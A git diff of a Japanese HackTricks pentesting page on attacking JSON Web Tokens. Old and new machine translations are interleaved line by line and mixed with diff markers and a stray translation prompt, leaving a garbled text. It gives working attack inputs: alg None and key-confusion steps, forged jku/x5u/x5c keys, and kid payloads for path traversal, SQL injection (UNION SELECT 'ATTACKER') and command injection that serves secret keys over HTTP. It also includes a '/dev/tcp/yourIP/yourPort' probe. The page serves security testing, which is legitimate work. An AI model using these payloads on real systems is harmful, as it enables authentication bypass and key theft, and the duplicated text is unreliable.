* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
 (3).png>)
|
||||
|
||||
**バグバウンティのヒント**：**Intigriti**に**登録**してください。ハッカーのために作られたプレミアムな**バグバウンティプラットフォーム**です！今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
|
||||
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムの**バグバウンティプラットフォームである**Intigriti**に**サインアップ**してください！[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう！
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**この投稿の一部はこちらから引用されました：** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTをペネトレーションテストする素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**この投稿の一部は素晴らしい投稿に基づいています:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTをペンテストするための素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **クイックウィン**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色のラインが出るのを待つ
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行を待ちます
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
以下は、JWT（JSON Web Tokens）に関するハッキング技術についてのハッキング本の内容です。関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびHTML構文を保ったまま翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名（Workspace、aws、gcpなど）、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余計なものは追加しないでください。
|
||||
|
||||
---
|
||||
|
||||
幸運なことに、ツールがJWTのチェックが不正確に行われているWebアプリケーションのケースを見つけることがあります：
|
||||
もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません：
|
||||
|
||||
.png>)
|
||||
|
||||
その後、プロキシでリクエストを検索するか、jwt\_toolを使用してそのリクエストに使用されたJWTをダンプできます：
|
||||
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストで使用されたJWTをダンプできます：
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### データを改ざんしても何も変更しない
|
||||
### データを変更せずにデータを改ざんする
|
||||
|
||||
署名をそのままにしてデータを改ざんし、サーバーが署名をチェックしているかどうかを確認します。例えば、ユーザー名を「admin」に変更してみてください。
|
||||
署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。たとえば、ユーザー名を "admin" に変更してみてください。
|
||||
|
||||
#### **トークンはチェックされていますか？**
|
||||
#### **トークンが確認されているかどうか**
|
||||
|
||||
* エラーメッセージが発生した場合、署名がチェックされています - 漏洩する可能性のある詳細なエラー情報を読んでください。
|
||||
* 返されたページが異なる場合、署名がチェックされています。
|
||||
* ページが同じであれば、署名はチェックされていません - Payload claimsを改ざんして何ができるかを見る時です！
|
||||
JWTの署名が検証されているかどうかを確認するには:
|
||||
|
||||
### 起源
|
||||
- エラーメッセージが検証中を示す。冗長なエラーには機密情報が含まれる可能性があるため、注意が必要です。
|
||||
- 返されるページの変更も検証を示す。
|
||||
- 変更がない場合は検証が行われていない可能性があります。この場合はペイロードのクレームを改ざんして実験してみてください。
|
||||
|
||||
プロキシのリクエスト履歴でトークンがどこで生成されたかを確認します。サーバーで生成されるべきです。
|
||||
### オリジン
|
||||
|
||||
* クライアント側から最初に見られた場合、**key** はクライアント側のコードにアクセス可能です - 探し出してください！
|
||||
* サーバーから最初に見られた場合、問題ありません。
|
||||
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認することが重要です。これはプロキシのリクエスト履歴を調べることで行います。
|
||||
|
||||
- クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに公開されている可能性があるため、さらなる調査が必要です。
|
||||
- サーバーサイドで生成されたトークンはセキュアなプロセスを示します。
|
||||
|
||||
### 期間
|
||||
|
||||
トークンが24時間以上持続するかどうかを確認します... おそらく期限切れになることはありません。"exp" フィールドがある場合、サーバーが正しく処理しているかを確認します。
|
||||
トークンが24時間以上続くかどうかを確認してください... 期限がないかもしれません。"exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
|
||||
|
||||
### HMACシークレットをブルートフォース
|
||||
### HMACシークレットの総当たり攻撃
|
||||
|
||||
[**このページを見る。**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
[**このページを参照してください。**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### アルゴリズムをNoneに変更する (CVE-2015-9235)
|
||||
### アルゴリズムをNoneに変更する(CVE-2015-9235)
|
||||
|
||||
使用されるアルゴリズムを "None" に設定し、署名部分を削除します。
|
||||
|
||||
この脆弱性を試すために "JSON Web Token" というBurp拡張機能を使用し、JWT内の異なる値を変更します（リクエストをRepeaterに送り、"JSON Web Token" タブでトークンの値を変更できます。"Alg" フィールドの値を "None" に設定することもできます）。
|
||||
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更します（リクエストをRepeaterに送信し、"JSON Web Token" タブでトークンの値を変更できます。また、"Alg" フィールドの値を "None" に設定することもできます）。
|
||||
|
||||
### アルゴリズムをRS256（非対称）からHS256（対称）に変更する (CVE-2016-5431/CVE-2016-10555)
|
||||
### アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
HS256アルゴリズムは、各メッセージを署名し検証するためにシークレットキーを使用します。\
|
||||
RS256アルゴリズムは、メッセージを署名するためにプライベートキーを使用し、認証にはパブリックキーを使用します。
|
||||
アルゴリズムHS256は、各メッセージを署名および検証するために秘密鍵を使用します。\
|
||||
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。
|
||||
|
||||
RS256からHS256にアルゴリズムを変更すると、バックエンドコードはパブリックキーをシークレットキーとして使用し、HS256アルゴリズムを使用して署名を検証します。
|
||||
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
|
||||
|
||||
パブリックキーを使用してRS256をHS256に変更することで、有効な署名を作成できます。次のコマンドを実行して、Webサーバーの証明書を取得できます：
|
||||
その後、公開鍵を使用してRS256をHS256に変更することで有効な署名を作成できます。Webサーバーの証明書を取得することで、これを実行できます。
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### ヘッダー内の新しい公開鍵
|
||||
|
||||
攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します（CVE-2018-0114）。
|
||||
攻撃者はトークンのヘッダーに新しいキーを埋め込み、サーバーはこの新しいキーを使用して署名を検証します（CVE-2018-0114）。
|
||||
|
||||
これは "JSON Web Tokens" Burp 拡張機能で行うことができます。\
|
||||
（リクエストをRepeaterに送信し、JSON Web Tokenタブで "CVE-2018-0114" を選択してリクエストを送信します）。
|
||||
これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\
|
||||
（リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します）。
|
||||
|
||||
### JWKS スプーフィング
|
||||
### JWKSスプーフィング
|
||||
|
||||
トークンが “jku” ヘッダークレームを使用している場合、提供されたURLをチェックしてください。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが含まれているURLを指している必要があります。jkuの値を、トラフィックを監視できるWebサービスを指すようにトークンを改ざんします。
|
||||
この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key Set（JWKS）ファイルにリンクすべきです。
|
||||
|
||||
HTTPインタラクションを取得した場合、サーバーが提供しているURLから鍵をロードしようとしていることがわかります。_jwt\_toolの-Sフラグと-u_ [_http://example.com_](http://example.com) _引数を使用して新しい鍵ペアを生成し、提供されたURLを注入し、公開鍵を含むJWKSを生成し、プライベート鍵でトークンに署名します_
|
||||
- **"jku"ヘッダーを持つトークンの評価**:
|
||||
- "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
|
||||
- トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
|
||||
|
||||
### Kidの問題
|
||||
- **HTTPインタラクションの監視**:
|
||||
- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを示します。
|
||||
- このプロセスで`jwt_tool`を使用する場合、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所に更新することが重要です。
|
||||
|
||||
`kid` はオプショナルなヘッダークレームで、特に複数の鍵でトークンに署名する必要がある場合、署名を検証するための正しい鍵を探すのに役立つ鍵識別子を保持します。
|
||||
- **`jwt_tool`のコマンド**:
|
||||
- 次のコマンドを実行して、`jwt_tool`でシナリオをシミュレートします:
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
```
|
||||
|
||||
#### "kid" の問題 - 鍵の露出
|
||||
### Kidの問題の概要
|
||||
|
||||
ヘッダーで "kid" クレームが使用されている場合、そのファイルまたはそのバリエーションがWebディレクトリにあるかどうかを確認します。例えば `"kid":"key/12345"` であれば、Webルートで _/key/12345_ と _/key/12345.pem_ を探します。
|
||||
`kid`として知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、トークンの署名検証のために複数のキーが存在する環境で特に重要です。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。
|
||||
|
||||
#### "kid" の問題 - パストラバーサル
|
||||
#### "kid"を通じてキーを明らかにする
|
||||
|
||||
ヘッダーで "kid" クレームが使用されている場合、ファイルシステム内の異なるファイルを使用できるかどうかを確認します。予測可能な内容のファイルを選択するか、あるいは `"kid":"/dev/tcp/yourIP/yourPort"` を使用して接続性をテストするか、あるいはいくつかの **SSRF** ペイロードを試してみてください...\
|
||||
_jwt\_toolの-Tフラグを使用してJWTを改ざんし、kidクレームの値を変更し、元の署名を保持することを選択します_
|
||||
`kid`クレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、「"kid":"key/12345"」が指定されている場合、Webルートで _/key/12345_ および _/key/12345.pem_ ファイルを検索する必要があります。
|
||||
|
||||
#### "kid"を使用したパス遍歴
|
||||
|
||||
`kid`クレームは、ファイルシステムを通過するために悪用される可能性があり、任意のファイルを選択することができるようになります。`kid`の値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリ（SSRF）攻撃を実行したりすることが可能です。`kid`の値を変更して元の署名を保持しながらJWTを改ざんするには、`jwt_tool`で`-T`フラグを使用します。以下に示すように:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
ホスト内に既知の内容を持つファイルを使用して、有効なJWTを偽造することもできます。例えば、Linuxシステムでは、ファイル `/proc/sys/kernel/randomize_va_space` の値は **2** に設定されています。そのため、"**kid**" パラメータにその **パス** を入れ、**対称パスワード** として "**2**" を使用してJWTを生成すると、新しい有効なJWTを生成できるはずです。
|
||||
JWTのハッキング
|
||||
|
||||
#### "kid" の問題 - SQLインジェクション
|
||||
予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽造することが可能です。たとえば、Linuxシステムの`/proc/sys/kernel/randomize_va_space`ファイルは値**2**を含むことが知られており、JWT生成の対称パスワードとして`kid`パラメータで**2**を使用できます。
|
||||
|
||||
"kid" の内容がデータベースからパスワードを取得するために使用されるシナリオでは、"kid" パラメータ内のペイロードを `non-existent-index' UNION SELECT 'ATTACKER';-- -` に変更し、秘密鍵 `ATTACKER` でJWTを署名することができます。
|
||||
#### "kid"を介したSQLインジェクション
|
||||
|
||||
#### "kid" の問題 - OSインジェクション
|
||||
`kid`クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、`kid`ペイロードを変更することでSQLインジェクションが可能になります。JWT署名プロセスを変更するためのSQLインジェクションを使用した例のペイロードは次のとおりです：
|
||||
|
||||
"kid" パラメータに鍵のファイルへのパスが含まれ、このパスが **実行されるコマンド内** で使用されているシナリオでは、次のようなペイロードでRCEを取得し、秘密鍵を露出させることができるかもしれません：`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
### その他の攻撃
|
||||
この変更により、JWT署名に既知の秘密キー`ATTACKER`が使用されるようになります。
|
||||
|
||||
以下はテストされるべき既知の弱点です。
|
||||
#### "kid"を介したOSインジェクション
|
||||
|
||||
**クロスサービスリレー攻撃**
|
||||
`kid`パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行（RCE）の脆弱性が発生する可能性があります。`kid`パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの露出を達成するための例のペイロードは次のとおりです：
|
||||
|
||||
一部のWebアプリケーションは、信頼されたJWT「サービス」を使用してトークンを生成および管理します。過去には、JWTサービスのクライアントの1つで生成されたトークンが、JWTサービスの別のクライアントによって受け入れられる事例が発生しています。\
|
||||
JWTがサードパーティサービスを介して発行または更新されていることが観察された場合、そのサービスの別のクライアントで同じユーザー名/メールでアカウントを登録できるかどうかを特定する価値があります。もしそうなら、そのトークンを取得してターゲットへのリクエストで再生してみてください。受け入れられますか？
|
||||
|
||||
* トークンが受け入れられた場合、任意のユーザーのアカウントを偽装することができる重大な問題があるかもしれません。ただし、サードパーティのアプリケーションでサインアップする場合、法的なグレーエリアに入る可能性があるため、より広範なテストの許可を求める必要があるかもしれません！
|
||||
|
||||
**expがチェックされていますか？**
|
||||
|
||||
“exp”ペイロードクレームは、トークンの有効期限をチェックするために使用されます。JWTはしばしばセッション情報がない場合に使用されるため、注意して扱う必要があります - 多くの場合、他人のJWTをキャプチャして再生すると、そのユーザーになりすますことができます。\
|
||||
JWTリプレイ攻撃に対する1つの緩和策（JWT RFCによって推奨されている）は、“exp”クレームを使用してトークンの有効期限を設定することです。また、この値が処理され、有効期限が切れた場合にトークンが拒否されるように、アプリケーションに適切なチェックを設置することも重要です。トークンに“exp”クレームが含まれていて、テスト時間の制限が許す場合は、トークンを保存して有効期限が過ぎた後に再生してみてください。_jwt\_toolの-Rフラグを使用してトークンの内容を読み取ります。これにはタイムスタンプの解析と有効期限のチェックが含まれています（タイムスタンプはUTCで表示されます）。_
|
||||
|
||||
* トークンがアプリケーションでまだ有効である場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクになるかもしれません。
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5uとjku
|
||||
|
||||
#### jku
|
||||
|
||||
jkuは **JWK Set URL** を意味します。\
|
||||
トークンが “**jku**” **ヘッダー** クレームを使用している場合は、提供されたURLを **確認してください**。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが含まれているURLを指すべきです。jkuの値を、トラフィックを監視できるWebサービスを指すようにトークンを改ざんしてください。
|
||||
jkuは**JWK Set URL**の略です。\
|
||||
トークンが“**jku**” **Header**クレームを使用している場合は、**提供されたURLを確認**してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
|
||||
|
||||
まず、新しい証明書と新しい秘密鍵 & 公開鍵を作成する必要があります
|
||||
まず、新しい秘密鍵と公開鍵を持つ新しい証明書を作成する必要があります。
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
以下は、新しいJWTを作成するために、**作成された公開鍵と秘密鍵を使用し、パラメータjkuを作成された証明書に指す**ために例えば[**jwt.io**](https://jwt.io)を使用する方法です。有効なjku証明書を作成するためには、元のものをダウンロードして必要なパラメータを変更することができます。
|
||||
その後、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。** 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
|
||||
|
||||
公開証明書からパラメータ"e"と"n"を取得するには、次の方法を使用します：
|
||||
公開証明書からパラメータ"e"と"n"を取得することができます。
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
|
@ -168,39 +167,39 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL。PEM形式でエンコードされたX.509（証明書フォーマット標準）の公開証明書セットを指すURI。セットの最初の証明書は、このJWTに署名するために使用されるものでなければなりません。続く証明書はそれぞれ前のものに署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するためには、トランスポートセキュリティが必要です。
|
||||
X.509 URL。PEM形式でエンコードされたX.509（証明書形式の標準）公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
|
||||
|
||||
このヘッダーを**自分のコントロール下にあるURLに変更して**、リクエストが受信されるかどうかを確認してください。その場合、**JWTを改ざんすることができます**。
|
||||
**このヘッダーを自分のコントロール下のURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざん**することができます。
|
||||
|
||||
自分がコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります：
|
||||
自分がコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
例えば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使い、パラメータx5uを作成された証明書.crtに指定して**、新しいJWTを作成することができます。
|
||||
次に、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。**
|
||||
|
||||
.png>)
|
||||
|
||||
これらの脆弱性を**SSRF攻撃に**利用することもできます。
|
||||
これらの脆弱性を**SSRFに悪用する**こともできます。
|
||||
|
||||
#### x5c
|
||||
|
||||
このパラメータには**base64でエンコードされた証明書**が含まれる場合があります：
|
||||
このパラメータには、**Base64形式の証明書**が含まれている場合があります：
|
||||
|
||||
.png>)
|
||||
|
||||
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、すなわちn、e、x5tを変更すると、サーバーによって偽造トークンが受け入れられることになります。
|
||||
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、およびx5tを変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### 埋め込まれた公開鍵 (CVE-2018-0114)
|
||||
### 埋め込まれた公開鍵（CVE-2018-0114）
|
||||
|
||||
以下のシナリオのように、JWTが公開鍵を埋め込んでいる場合：
|
||||
JWT に次のシナリオのように公開鍵が埋め込まれている場合：
|
||||
|
||||
.png>)
|
||||
|
||||
次のnodejsスクリプトを使用して、そのデータから公開鍵を生成することが可能です：
|
||||
次の nodejs スクリプトを使用すると、そのデータから公開鍵を生成することが可能です：
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
|
@ -210,15 +209,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで、新しい署名を生成することが可能です：
|
||||
新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です：
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
```markdown
|
||||
このnodejsスクリプトを使用して、"n"と"e"を取得できます:
|
||||
```
|
||||
このNode.jsスクリプトを使用して、「n」と「e」を取得できます：
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
|
@ -228,36 +225,49 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
公開鍵と秘密鍵、そして新しい「n」と「e」の値を使用して、任意の情報を含む新しい有効なJWTを[jwt.io](https://jwt.io)で偽造することができます。
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID)クレームは、JWTトークンに一意の識別子を提供します。これはトークンのリプレイを防ぐために使用されることがあります。\
|
||||
しかし、IDの最大長が4（0001-9999）の場合を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増加させている場合、**リクエストをリプレイする**ためにこの状況を悪用できます（成功したリプレイごとに10000リクエストを送信する必要があります）。
|
||||
JTI（JWT ID）クレームは、JWTトークンの一意の識別子を提供します。トークンのリプレイを防ぐために使用できます。\
|
||||
ただし、IDの最大長が4（0001-9999）である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストのリプレイ**ができます（成功したリプレイごとに10000リクエストを送信する必要があります）。
|
||||
|
||||
### JWT 登録済みクレーム
|
||||
### JWT Registered claims
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
### その他の攻撃
|
||||
|
||||
**クロスサービスリレーアタック**
|
||||
|
||||
一部のWebアプリケーションは、トークンの生成と管理に信頼できるJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントによって受け入れられた、あるクライアントのためにJWTサービスによって生成されたトークンのインスタンスが記録されています。第三者サービスを介してJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。
|
||||
|
||||
- トークンが受け入れられることで、任意のユーザアカウントのスプーフィングが可能になる可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要になる可能性があることに注意する必要があります。
|
||||
|
||||
**トークンの有効期限チェック**
|
||||
|
||||
トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしでよく使用されるため、慎重な処理が必要です。他のユーザのJWTをキャプチャしてリプレイすることで、そのユーザをなりすますことができる場合があります。JWT RFCは、JWTリプレイ攻撃を緩和するために「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションがこの値の処理と期限切れトークンの拒否を確実にするための関連するチェックの実装が重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。jwt_toolの-Rフラグを使用して、トークンの内容、タイムスタンプの解析、および有効期限チェック（UTCのタイムスタンプ）を読むことができます。
|
||||
|
||||
- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。
|
||||
|
||||
|
||||
### ツール
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **Intigriti**に**登録**してください。ハッカーによって作られたプレミアムな**バグバウンティプラットフォーム**です！今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう！
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です！[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう！
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>**htARTE（HackTricks AWS Red Team Expert）**で**ゼロからヒーローまでのAWSハッキング**を学びましょう！</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
* **HackTricksで企業を宣伝**したり、**PDFでHackTricksをダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
